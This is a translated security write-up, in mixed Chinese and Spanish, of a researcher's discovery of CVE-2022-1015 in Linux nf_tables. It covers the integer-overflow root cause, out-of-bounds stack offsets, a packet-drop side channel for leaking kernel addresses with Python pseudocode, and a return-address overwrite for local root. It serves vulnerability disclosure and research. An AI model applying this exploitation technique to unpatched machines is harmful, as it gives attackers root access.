Este README.md es una traducción del blog de David. David encontró los CVE's 1015 y 1016 en el kernel de Linux. Puedes visitar su página web para leer el documento original.
Aquí te dejo sus redes sociales:
发布于 2022 年 4 月 2 日。
在最新版 Ubuntu 和 RHEL 的默认配置中,这些问题应该都是可利用的。我针对 Arch Linux 的 5.16-rc3 内核版本编写了 CVE-2022-1015 的概念验证(PoC)。
本文面向对 Linux 内核的功能和安全性有基本了解的人。我试图让本文对缺乏网络栈知识的人友好,以便向所有读者开放。
以下是一份阅读指南:
2 月中旬,Google 安全计划宣布将继续其 kCTF 漏洞奖励计划,为能够在 nsjail 沙箱中从无特权进程将权限提升至 root 用户的 Linux 内核漏洞提供从 31,337 美元到 91,337 美元不等的奖励。
作为一个贫穷的学生,这显然引起了我的注意。这是我第一次尝试寻找“现实世界”的漏洞,但在和我的团队一起玩 CTF 的冒险中,我已经从安全角度熟悉了 Linux 内核。在数小时几乎毫无进展(但对 Linux 有了更多了解)之后,我设法在 nf_tables 模块中发现了一些漏洞。
遗憾的是,最终我意识到这个模块并不在 Google kCTF 的规则范围内(因此这两个漏洞没有为我赢得任何奖励)。但显然,我仍然报告了它们,并为 CVE-2022-1015 编写了一个 LPE(本地权限提升)漏洞利用。
好了,你已经决定要在 Linux 中找一些漏洞。现在呢?Linux 是一个巨大的项目,很容易只见树木不见森林(过于关注细节而失去对真正重要事物的整体视野)。更糟糕的是,许多部分没有文档,你需要阅读大量代码才能理解正在发生的事情。
我首先尝试详细了解 Linux 的安全模型。找到一个 bug 是一回事;找到一个好 bug 则是另一回事。毕竟,并非所有 bug 都是同等的:
CAP_SYS_ADMIN 或 CAP_NET_ADMIN。
/proc/config.gz 访问。模块可以编译为内置(=y),也可以(=m)编译并在运行时加载。/proc/modules 和 /proc/kallsyms,但并不总是可靠,因为模块可以在内核中动态加载(例如 request_module)。这些限制帮助我们了解可以在哪些文件系统边界中寻找漏洞。我认为花时间规划对目标目标的攻击是个好主意。
我已经从上面这一点吸取了教训。如前所述,nf_tables 模块并未加载到 kCTF 给我们的实例中。我本可以一开始就注意到这一点,从而避免失望 :p。另一方面,如果早点注意到,你现在可能就不会读这篇博客了,我想事情最终发展得还不错。
关于为何 COS(Google 的容器优化 Linux 分支)没有 nf_tables 的解释可以在这里和这里找到。
在评估了上述各点之后,我决定开始的最佳途径可能是查看网络源代码。那里许多有趣的功能需要 CAP_NET_ADMIN,但如前所述,这实际上不是问题。相反,我怀疑需要特殊权限的组件通常安全性较低,因为内核开发者可能有一种虚假的安全感。
我还努力选择了一个我想要更多了解的文件系统;这样,即使你找不到任何 bug,你仍然可以学到很多有趣的东西。
我研究了许多网络文件系统,但没有发现任何重要的东西。在浏览 net/ 子目录后,我遇到了 nf_tables 模块。它看起来有点复杂,所以我决定花点时间去了解它。
Netfilter(net/netfilter)是内核中一个相当大的网络文件系统子系统。简而言之,netfilter 在整个网络模块中放置钩子(hook),其他模块可以注册处理程序。当到达某个钩子时,控制权被交给这些处理程序,它们可以操作各自的网络数据包结构。处理程序可以接受、丢弃和修改数据包。
在花了几个小时浏览 nf_tables API(net/netfilter/nf_tables_api.c)以准确了解其工作原理之后,我决定检查用户发送的记录的逻辑验证,并发现了一些可疑的行为。在思考我是否疯了之后,我写了一个小的 PoC(概念验证)来尝试触发我发现的漏洞:一个被称为 OOB(越界)的漏洞,允许在栈内存上进行读写。
在找到过滤内核地址的方法后,控制指针就变得相当容易了。经过一些 ROP(面向返回编程) 之后,带有 root 权限的 shell 成为了现实。
每当表达式的 init 例程需要解析来自用户 netlink 消息的记录时,会根据是源寄存器还是目标寄存器来调用 nft_parse_register_load 或 nft_parse_register_store 例程。我添加了一些注释:```c
int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len)
{
/* Given a netlink attribute and the length
* that is required to read the requested data,
* write a register index to `sreg` or return
* an error on failure. */
u32 reg;
int err;
reg = nft_parse_register(attr);
err = nft_validate_register_load(reg, len);
if (err < 0)
return err;
/* Write resulting index to the nft_expr.data structure. */
*sreg = reg;
return 0;
}
static unsigned int nft_parse_register(const struct nlattr attr) { / Convert a register to an index in nft_regs */
unsigned int reg;
/* Get specified register from netlink attribute */
reg = ntohl(nla_get_be32(attr));
switch (reg) {
/* If it's 0 to 4 inclusive,
* it's an OG 16-byte register and we need to
* multiply the index by 4 (4*4=16) */
case NFT_REG_VERDICT...NFT_REG_4:
return reg * NFT_REG_SIZE / NFT_REG32_SIZE;
/* Else we subtract 4, since we need to account
* for the OG registers above. */
default:
return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00;
}
/* So supplied values of 1, 2, 3, 4 map to
* OG 16-byte registers, with indices 4, 8,
* 12, 16
* Supplied values of 5, 6, 7 overlap the verdict,
* 8,9,10,11 overlap with OG register 1
* 12,13,14,15 overlap with OG register 2
* etc. */
}
static int nft_validate_register_load(enum nft_registers reg, unsigned int len) { /* We can never read from the verdict register, * so bail out if the index is 0,1,2,3 */ if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) return -EINVAL;
/* Invalid operation, bail out */
if (len == 0)
return -EINVAL;
/* If there would be an OOB access whenever
* `reg` is taken as index and `len` bytes are read,
* bail out.
* sizeof_field(struct nft_regs, data) == 0x50 */
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))
return -ERANGE;
return 0;
}
`*_store` 变体几乎完全相同,只是它们允许在某些条件下写入 *verbdict*。
在检查了最后的验证之后,这里确实有些不对劲:```c
if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data))
这看起来似乎是一个 integer overflow,你们不这么认为吗?如果我们能让 reg 包含某个乘以 4 后当加上 len 时会产生 overflow 的值,我们就可以满足这些条件。在 nft_parse_register_load 中,reg 的最后一个有效字节仍然被写入指针 u8 *sreg,落入我们的 nft_expr 中,随后被用作索引。```c
*sreg = reg;
¿De verdad podemos? `reg` es un `enum nft_registers` en la validación de la rutina, de todas formas. Podemos pasar valores que tengan un rango entre `0x00000001` hasta `0xfffffffb` inclusive, el rango de `nft_parse_register`; pero ¿será `reg` un valor de 32 bits en `nft_validate_register_load`? Se sabe que los compiladores podrían encoger los *enum types* si un tipo más pequeño puede representar todos los valores. Vamos a obtener una segunda opinión.
Obtenido del manual de GCC:```
The integer type compatible with each enumerated type (C90 6.5.2.2, C99 and C11 6.7.2.2).
Normally, the type is unsigned int if there are no negative values
in the enumeration, otherwise int. If -fshort-enums is specified,
then if there are negative values it is the first
of signed char, short and int that can represent all the values,
otherwise it is the first of unsigned char, unsigned short and unsigned int
that can represent all the values.
On some targets, -fshort-enums is the default; this is determined by the ABI.
TL;DR? 取决于 ABI 和可能的优化程度。我无法找到任何具体证据表明此选项在 Linux 构建中默认启用。
但汇编器从不说谎。让我们来看一下:```objdump.x86asm
0000000000001b60 <nft_parse_register_load>:
1b60: e8 00 00 00 00 call 1b65 <nft_parse_register_load+0x5>
1b65: 55 push rbp
1b66: 8b 47 04 mov eax,DWORD PTR [rdi+0x4]
1b69: 0f c8 bswap eax
1b6b: 89 c7 mov edi,eax
1b6d: 8d 48 fc lea ecx,[rax-0x4]
1b70: c1 e7 04 shl edi,0x4
1b73: 48 89 e5 mov rbp,rsp
1b76: c1 ef 02 shr edi,0x2
1b79: 83 f8 04 cmp eax,0x4
1b7c: 89 f8 mov eax,edi
1b7e: 0f 47 c1 cmova eax,ecx
1b81: 85 d2 test edx,edx
1b83: 74 13 je 1b98 <nft_parse_register_load+0x38>
1b85: 83 f8 03 cmp eax,0x3
1b88: 76 0e jbe 1b98 <nft_parse_register_load+0x38>
1b8a: 8d 14 82 lea edx,[rdx+rax*4]
1b8d: 83 fa 50 cmp edx,0x50
1b90: 77 0d ja 1b9f <nft_parse_register_load+0x3f>
1b92: 88 06 mov BYTE PTR [rsi],al
1b94: 5d pop rbp
1b95: 31 c0 xor eax,eax
1b97: c3 ret
1b98: b8 ea ff ff ff mov eax,0xffffffea
1b9d: 5d pop rbp
1b9e: c3 ret
1b9f: b8 de ff ff ff mov eax,0xffffffde
1ba4: 5d pop rbp
1ba5: c3 ret
函数调用对齐得相当好。重要操作位于 `1b8a`:```objdump.x86asm
lea edx, [rdx+rax*4]
cmp edx, 0x50
ja 1b9f <nft_parse_register_load+0x3f>
mov BYTE PTR [rsi], al
rax es el resultado de ntf_parse_register, rdx es len proporcionada, y rsi es el puntero sreg. Ya nos hemos quitado de dudas.
nft_parse_register_store muestra el mismo comportamiento. Mientras los registros vivan en el stack, nuestra vulnerabilidad OOB obviamente será relativa del stack. Esto es bueno, porque con un poco de suerte, podremos sobreescribir y retornar memoria directamente.
Para dar un ejemplo de una entrada vulnerable, un registro de 0xfffffffb y una longitud de 0x20, va a evaluar 0xfffffffb * 4 + 0x20 = 0x0c < 0x50. Después de la validación (u8)0xfffffffb = 0xfb será escrito a *sreg.
Aunque hay un problema: ¿existen expresiones que nos permitan usar una longitud que pueda causar un overflow cuando se realice la suma? Después de un poco de investigación, encontré que nft_bitwise y nft_payload te permiten dar como entrada tu propia longitud, desde 0x00 hasta 0xff. Muchas otras expresiones parecen tener longitudes estáticas que son muy pequeñas.
De momento esto se ve prometedor. El siguiente paso es tomar estos exploit primitives (capacidad génerica ganada durante un exploit) y usarlos.
Si podemos definar el tipo de poder que nos puede dar nuestro exploit, explotar esta vulnerabilidad debería ser más fácil. Así que, denme un poco de su paciencia porque vamos a ver un poco de aritmética.
Hay tres puntos que podemos usar para nuestro overflow para la multiplicación de registro, ya que esto es multiplicado por 4 = 2^2: 2^32 - 1, 2^31 - 1 y 2^30 - 1 (respectivamente 0xffffffff, 0x7fffffff, y 0x3fffffff). Estos valores pueden ir decreciendo hasta que sumemos nuestra máxima longitud permitida, después de ser multiplicada por cuatro esto no resultará en un overflow. Otro punto a tomar en cuenta es que no podemos usar valores mayores a 0xfffffffb, como se mencionó con anterioridad.
Dando una longitud específica, los valores byte menos significativos que pueden permitir un overflow usando esta longitud formarán nuestro intervalo de índices OOB que podemos usar.
Después de todo, no importa qué puntos de overflow sean usados. Toma por ejemplo los siguientes valores con un LSB (bit menos significativo) de 0xf0:```
0xfffffff0 * 4 = 0xffffffc0
0x7ffffff0 * 4 = 0xffffffc0
0x3ffffff0 * 4 = 0xffffffc0
从现在开始,我们将使用接近 `0x7fffffff` 的寄存器值。
之前我们已经讨论过 `nft_payload` 和 `nft_bitwise`。这些表达式的一些属性如下:
* `nft_payload` 只能执行 *OOB* 写入,而 `nft_bitwise` 可以执行 *OOB* 写入和读取。
* `nft_payload` 可以进行最多 0xff 字节任意数据的 *OOB* 写入。
* `nft_bitwise` 实际上只能写入最多 `0x40` 字节的任意数据,并且只能读取寄存器空间 *stack* 中的最多 `0x40` 字节数据。
* `nft_bitwise` 需要一个 `sreg` 和一个 `dreg`,它们需要使用相同的长度值通过验证。
* 我们只有 `0x40` 字节的寄存器空间,因此我们想要读取或写入寄存器空间中的数据,但无法使用大于 `0x40` 的长度通过验证。
我们可以为 `nft_bitwise` 使用更大的长度值,但这意味着 `sreg` 和 `dreg` 需要越界,这对我们的目的来说不太有用。因此,目前我们使用 `0x40` 的长度。
考虑到所有这些,我们可以使用哪些类型的 *exploits*?
`nft_bitwise` 的最大长度为 `0x40`。这意味着寄存器的值乘以四后应至少为 `0xffffffc0`。乘以四能得到的最大的值是 `0xfffffffb`,由于 `0xfffffffb + 0x40 = 0x3b <= 0x50`,这将通过验证。
`0x7ffffff0 * 4 = 0xffffffc0`:下限是 `0xf0`。
`0x7fffffff * 4 = 0xfffffffb`:上限是 `0xff`。
转换为 [*字节偏移*](https://es.wikipedia.org/wiki/Offset_(inform%C3%A1tica)):```
0xc1 * 4 = 0x304
0xeb * 4 + 0xff = 0x4ab
nft_payload 可以通过从 struct nft_regs 算起的 偏移量 [0x304, 0x4ab] 进行越界写入。
现在这一切已经清楚了,在这些 偏移量 处,栈 上实际到底是什么?
nft_do_chain 例程可以通过许多代码路径被调用。有很多因素会改变 nft_do_chain 的 栈帧(栈 的帧) 之前的 栈 的形态:
无论 链钩子 是 input 还是 output。
input,钩子 将在相应网络设备的 softirq 上下文中触发,并使用 softirq 栈。output,钩子 将在 syscall(系统调用) send* 的上下文中触发,并使用 syscall 的 栈。我们使用的协议。
我认为你可以通过使用不同的协议、接口和 钩子 位置的组合获得许多 调用栈 变体。目前,我们将使用配置为 output 的 链钩子 配合一个 UDP 数据包。

当发送的 UDP 数据包到达配置为 output 的钩子时,nft_do_chain 中栈的布局及越界范围
为了能够创建一个稳定的 exploit,我们首先必须泄露内核镜像的地址。
内核镜像的地址具有 9 位熵(对一组消息中存在的不确定性的度量,其中只会收到一条),这意味着内核可以被加载到 512 个不同的位置。根据你的攻击场景,有 1/512 的概率能让攻击正确生效;但如果能从中得到一个更稳定的 exploit,那就更好了。
最简单的步骤是尝试使用我们的越界读取能力(通过 nft_bitwise 获得)将部分 栈 数据复制到我们的寄存器中。由于我们可以读取的总区间长度为0x7c 字节,因此内核地址很可能就在其中。

nft_bitwise 的越界范围
今天是我们的幸运日!有两个:``` gef➤ x/bx 0xffffffff815b49c1 0xffffffff815b49c1 <import_iovec+49>: 0xc9 gef➤ x/bx 0xffffffff819ac3ec 0xffffffff819ac3ec <copy_msghdr_from_user+92>: 0xba
将这些写入寄存器是一回事,但提取它们是另一回事。经过研究,似乎没有一种简单的方法可以在 `nft_do_chain` 运行时直接读取寄存器。
在我最初提交给 [email protected] 的报告中,一位 netfilter 维护者向我提到了 `nft_dynset` 表达式,它支持 [*动态集合*](https://en.wikipedia.org/wiki/Dynamic_set),可以作为一种数据库,在不同的 `nft_do_chain` 执行之间进行写入和读取。显然,`nft_payload` 本身也有能力向数据包写入数据,我此前并未意识到这一点。
因此,我决定继续使用我的 [*侧信道攻击*](https://es.wikipedia.org/wiki/Ataque_de_canal_lateral)。由于 `nf_tables` 的特性,你可以引发副作用。事实上,你甚至可以说这些不是副作用,而是主要效果。
通过创建根据我们正在复制的内核内存地址值来丢弃或接受数据包的规则,我们可以逐步推断出该值——只需检查我们发送的数据包是否也被接收。
1. 创建一个 UDP *套接字*,在 `127.0.0.1:9999` 上接收数据包:
* 它应该在不同的线程中接收数据包。
* 它每收到一个数据包,就应该回发一条消息。
2. 添加一条规则:
1. 使用 `nft_bitwise` 将内核地址复制到寄存器中。
2. 使用 `nft_cmp_expr` 将该地址与一个常量进行比较。
3. 如果比较结果为真,则丢弃数据包。
3. 向 `127.0.0.1:9999` 发送一个 UDP 数据包
1. 根据是否收到回复消息,我们可以确定有关内核地址的一些信息。
4. 使用适当的值重复步骤 2 和 3,直到你有足够的信息来独立确定该信息。

仍然存在一些注意事项。例如,我们收到的数据包也可能在没有任何警告的情况下被丢弃。为了缓解这种情况,我们可以加入降噪机制,为此我们需要一个 *基础链* 和一个 *辅助常规链*。
*基础链中的规则:*
| # | 表达式 | 参数 | 注释 |
| --- | -------------------- | -------------------------------------------------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------- |
| 0 | `nft_payload` | base=NFT_PAYLOAD_TRANSPORT_HEADER<br/>offset=offsetof(udphdr, dport)<br/>len=sizeof_field(udphdr, dport) | 将数据包的目标端口写入寄存器 8。 |
| 1 | `nft_cmp_expr` | op=NFT_CMP_EQ<br/>sreg=8<br/>data=9999 | 将目标端口与 `9999` 进行比较,如果结果不相等,则返回 `NFT_BREAK`。 |
| 2 | `nft_payload` | base=NFT_PAYLOAD_INNER_HEADER<br/>offset=0<br/>len=8 | 将数据包的前八个字节写入寄存器 8。 |
| 3 | `nft_cmp_expr` | op=NFT_CMP_EQ<br/>sreg=8<br/>data=0xdeadbeef0badc0de | 将前八个字节与魔法值进行比较,如果不相等则返回 `NFT_BREAK`。 |
| 4 | `nft_immediate_expr` | verdict=NFT_JUMP<br/>chain=aux_chain | 由于此时规则仍在求值中,条件必然匹配,因此调用我们的 *辅助链*。 |
*辅助链中的规则:*
| # | 表达式 | 参数 | 注释 |
| --- | --------------- | ----------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 | `nft_bitwise` | op=NFT_BITWISE_RSHIFT<br/>data=SHIFT_AMT<br/>dreg=OOB_OFFSET<br/>sreg=8 | 使用越界读取将内核地址写入寄存器,按 `SHIFT_AMT` 的位数进行移位,以将所需的地址字节放到正确的寄存器中。 |
| 1 | `nft_cmp` | op=NFT_CMP_GT<br/>sreg=ADDRESS_OFFSET<br/>data=COMPARAND | 将内核地址的字节与 `COMPARAND` 进行比较,如果结果不相等则返回 `NFT_BREAK`。 |
| 2 | `nft_immediate` | verdict=NFT_DROP | 如果地址字节大于 `COMPARAND`,则丢弃数据包。 |
通过检查目标端口,并将 *头部* 内部的前八个字节与魔法值进行比较,我们可以为任意想要的数据包触发副作用。
通过动态更改 `COMPARAND`,我们可以进行二分查找,以 `0(log(n))` 的时间找到内核地址的字节。通过将 `SHIFT_AMT` 动态更改为下一个 8 的倍数,我们可以移动到下一个内存字节并重新开始。
#### 4.3.1 过滤伪代码
下面是用 Python 编写的一些用于过滤内存地址的代码。有趣的是,我本可以轻松地用 Python 实现这一切。请记住,你并不总是必须用 C 语言为内核编写漏洞利用代码 :p```python
'''
Asumimos que un hilo secundario está recibiendo
paquetes UDP en 127.0.0.1:9999 y todo lo relacionado
con nf_tables ya está configurado
p. ej. table, base y auxiliary chain
'''
def leak_byte(pos):
s = socket.socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
s.settimeout(200) # 200ms debería ser más que suficiente
s.bind(("127.0.0.1", 1234))
# buscar los límites
low = 0, high = 255
while True:
mid = (low + high) // 2
# si encontramos el valor, lo regresamos
if low == high:
s.close()
return mid
set_leak_rule(SHIFT_AMT=pos*8, COMPARAND=mid)
# Enviar el paquete y activar la auxiliary chain
s.sendto(pack(0xdeadbeef0badc0de), ("127.0.0.1", 9999))
# El hilo secundario regresa a 127.0.0.1:1234
res = s.recvfrom(0x2000)
if not res:
'''
nuestro paquete fue soltado
ya que no se regresó nada en los 200ms
lo que significa que
byte to leak >= mid
el byte a filtrar es mayor o igual a mid (127)
'''
low = mid
else:
'''
[sanity check o prueba de cordura]
se usa para evaluar rápidamente si
el valor a calcular es siquiera posible
https://es.wikipedia.org/wiki/Prueba_de_cordura
'''
if res != b"MSG_OK":
print("Something went wrong")
return None
'''
Nuestro paquete fue aceptado, lo que
significa que
byte to leak < mid
byte a filtrar es menor a mid (127)
'''
high = mid - 1
leak_bytes = lambda: [leak_byte(i*8) for i in range(4)]
现在我们获得了泄露,任意代码执行应该非常容易。nft_payload 的越界写入应该能够为栈写入一个链式 RoP 攻击,对吧?
不。我们没那么幸运,至少在这个特定的内核上是这样。nft_payload 的越界写入几乎完全与 udp_sendmsg 例程的 栈帧 对齐。udp_sendmsg 的地址位于相对寄存器 +0x2f8 的 偏移 处,这个位置太低了,无法被 nft_payload 或 nft_bitwise 触达(我们可以从 +0x304 偏移开始写,就差这么一点……)。inet_sendmsg 的地址位于 +0x4a8 偏移处。技术上讲,我们可以触达它(并覆写低三位字节),但在 +0x0458 处有一个 栈金丝雀(stack canary)(一种在恶意代码执行前检测 栈缓冲区溢出 的技术),我们也需要覆写它才能实现这一点。这显然会导致内核崩溃,所以这样做不是一个选项。
我曾经在另一个内核构建版本上成功使用过这个方法,但要把同样的方法用到我写这篇博客所用到的内核上,似乎会有点困难。
现在,也许我们可以做一些 刻意构造的栈帧篡改 来覆写 udp_sendmsg 中的局部变量。我们也可以尝试覆写 裁决链指针,使用某个寄存器的值,例如 0x7fffff00(我认为这可能是个很酷的技术;考虑到这个挑战)。
让我们尝试更换我们使用的 基础链钩子。我们一直在使用 output 链,如果把它改成 input 会怎么样?

当发出的 UDP 数据包到达 input 钩子时,nft_do_chain 中越界写入范围的示意图
这看起来好多了!我们可以覆写 __netif_receive_skb_one_core 帧 的返回地址(偏移 +0x328),该地址返回至 __netif_receive_skb。由于它相对接近我们 nft_payload 越界写入的作用范围,我们可以让 OOB(越界)索引直接指向这个返回地址,从而绕过 偏移 +0x310 处的 栈金丝雀。偏移 +0x328 对应索引 0xca。
为了触发返回地址覆写,我们在表中创建了一个新的 input 链,并添加了一条规则,使用 nft_payload 从数据包的内层头部向索引 0xca 写入 0xff 字节。然后我们发送一个带有该 载荷 的数据包,然后 boom。

🥳 🥳 🥳 🥳 🥳